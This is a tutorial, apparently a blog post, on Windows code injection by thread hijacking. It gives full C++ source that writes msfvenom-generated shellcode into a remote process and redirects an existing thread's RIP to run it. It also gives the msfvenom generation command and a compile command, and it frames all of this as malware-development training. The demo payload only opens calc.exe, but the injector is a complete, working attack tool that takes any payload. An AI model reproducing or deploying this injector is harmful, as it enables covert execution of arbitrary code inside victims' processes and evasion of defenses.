💡 Summary:
This guide explains how to perform code injection in Windows using Thread Hijacking. You’ll learn how to inject shellcode into a remote process and redirect an existing thread’s execution to run that payload. We use msfvenom to generate shellcode and walk through the full C++ implementation using WinAPI. Great for learning malware development and red team tactics.

In this part we will see how one can perform Code Injection via Thread hijacking.

What is Thread Hijacking?

Normally, we inject our code or payload to current or remote process and then create a new thread to run that code or payload. But in Thread hijacking we take control of one of the program’s existing threads and make it run our code or payload.

Here we will inject a payload that runs calc.exe command on CMD.

Code


//threadhijack.cpp
#include <stdio.h>                    // 1
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
 
unsigned char my_payload[] =
	"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
	"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
	"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
	"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
	"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
	"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
	"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
	"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
	"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
	"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
	"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
	"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
	"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
	"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
	"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
	"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
	"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
	"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
	"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
	"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";                    // 2
 
unsigned int my_payload_len = sizeof(my_payload);                  // 3
	
int findMyProc(const char *procname) {                    // 4
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
	// snapshot of all processes in the system
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
	// initializing size: needed for using Process32First
	pe.dwSize = sizeof(PROCESSENTRY32);
	// info about first process encountered in a system snapshot
	hResult = Process32First(hSnapshot, &pe);
	while (hResult) {
		// if we find the process: return process ID
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	}
	// closes an open handle (CreateToolhelp32Snapshot)
	CloseHandle(hSnapshot);
	return pid;
}
	
int main(int argc, char* argv[]) {                     // 5
	DWORD pid = 0; // process ID                       // 6
	HANDLE ph; // process handle
	HANDLE ht; // thread handle
	LPVOID rb; // remote buffer
	HANDLE hSnapshot;
	THREADENTRY32 te;
	CONTEXT ct;
	pid = findMyProc(argv[1]);                    // 7
	if (pid == 0) {                    // 8
		printf("PID not found :( exiting...\n");
		return -1;
	} else {
		printf("PID = %d\n", pid);            // 9
		ct.ContextFlags = CONTEXT_FULL;       // 10
		te.dwSize = sizeof(THREADENTRY32);    // 11
		ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);          // 12
		if (ph == NULL) {          // 13
			printf("OpenProcess failed! exiting...\n");
			return -2;
		}
		// allocate memory buffer for remote process
		rb = VirtualAllocEx(ph, NULL, my_payload_len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);                    // 14
		// write payload to memory buffer
		WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);     // 15
		// find thread ID for hijacking
		hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);    // 16
		if (Thread32First(hSnapshot, &te)) {                     // 17
			do {
				if (pid == te.th32OwnerProcessID) {
					ht = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					break;
				}
			} while (Thread32Next(hSnapshot, &te));
		}
		// suspend target thread
		SuspendThread(ht);                  // 18
		GetThreadContext(ht, &ct);          // 19
		// update register (RIP)
		ct.Rip = (DWORD_PTR)rb;             // 20
		SetThreadContext(ht, &ct);          // 21
		ResumeThread(ht);                   // 22
		CloseHandle(ph);                    // 23
}
return 0;
}

Explanation

  1. First, we will include the headers <stdio.h>, <stdlib.h>, <windows.h>, and tlhelp32.h.
  2. Generate a payload that runs calc.exe command in CMD using below command and pass it to unsigned character array, my_payload[].
    Command:
 msfvenom -p windows/x64/exec CMD=calc.exe -f c

Shellcode to run calc.exe via msfvenom

  1. Calculate the size of payload created in Step 2 with the help of sizeof() function and store its value in a variable, my_payload_len.
  2. Now we will use the function findMyProc we use in Finding PID via Snapshot to find the PID of process name.
  3. main() function accepting command-line arguments.
  4. Declares variables for process/thread IDs, handles, memory buffer pointer, and thread context.
  5. Calling findMyProc function with first argument argv[1].
  6. If PID got in Step 7 is equal to 0, the print PID not found :( exiting...\n and return -1.
  7. If PID not equal to 0 then print PID found in Step 7 by findMyProc() function.
  8. Setting ContextFlagsof CONTEXT structure to CONTEXT_FULL as it is required for SetThreadContext function to use.
  9. Getting size of THREADENTRY32 structure and save it to te.dwSize.
  10. Open a Handle to a target process(process passed in argument) with full access rights with OpenProcess function.
  11. If Opening the Process in Step 12 fails then exit the program.
  12. Allocates Memory inside the remote process with VirtualAllocEx function.
  13. Writes the shellcode into the remote memory buffer allocated in Step 14 with WriteProcessMemory function.
  14. Take a Snapshot of all threads by passing TH32CS_SNAPTHREAD flag in CreateToolhelp32Snapshot function.
  15. Run a loop through threads got in Step 16 and look for one thread owned by the target process and open a Handle to the such first thread using Thread32First, OpenThread, Thread32Next functions.
  16. Once the handle to the thread is obtained, we suspend the thread using SuspendThread. This ensures the thread is paused, so we can safely modify its execution context (registers like RIP).
  17. After suspending, we retrieve the current context (register states) of the thread using GetThreadContext. This function fills the CONTEXT structure we initialized earlier with information about the thread’s CPU registers.
  18. We modify the instruction pointer (RIP register) in the CONTEXT structure and set it to the address of our injected payload (rb). This essentially changes the thread’s next instruction to the beginning of our shellcode. Now, when the thread resumes, it will start executing our payload.
  19. We then apply this updated context to the thread using SetThreadContext. This commits the changes made in Step 20.
  20. Now that the context is set, we resume the thread using ResumeThread. At this point, the hijacked thread will continue execution but instead of following its original flow, it will now execute our shellcode, which launches calc.exe.
  21. Finally, we close the handle to the process to release resources and exit the program cleanly.

Compile and Run


Compile

x86_64-w64-mingw32-g++ -O2 threadhijack.cpp -o threadhijack.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1

Run

.\threadhijack.exe

Performing Thread Hacking

As we can see the Calculator is still working after closing victim process (notepad.exe).
Performing Thread Hacking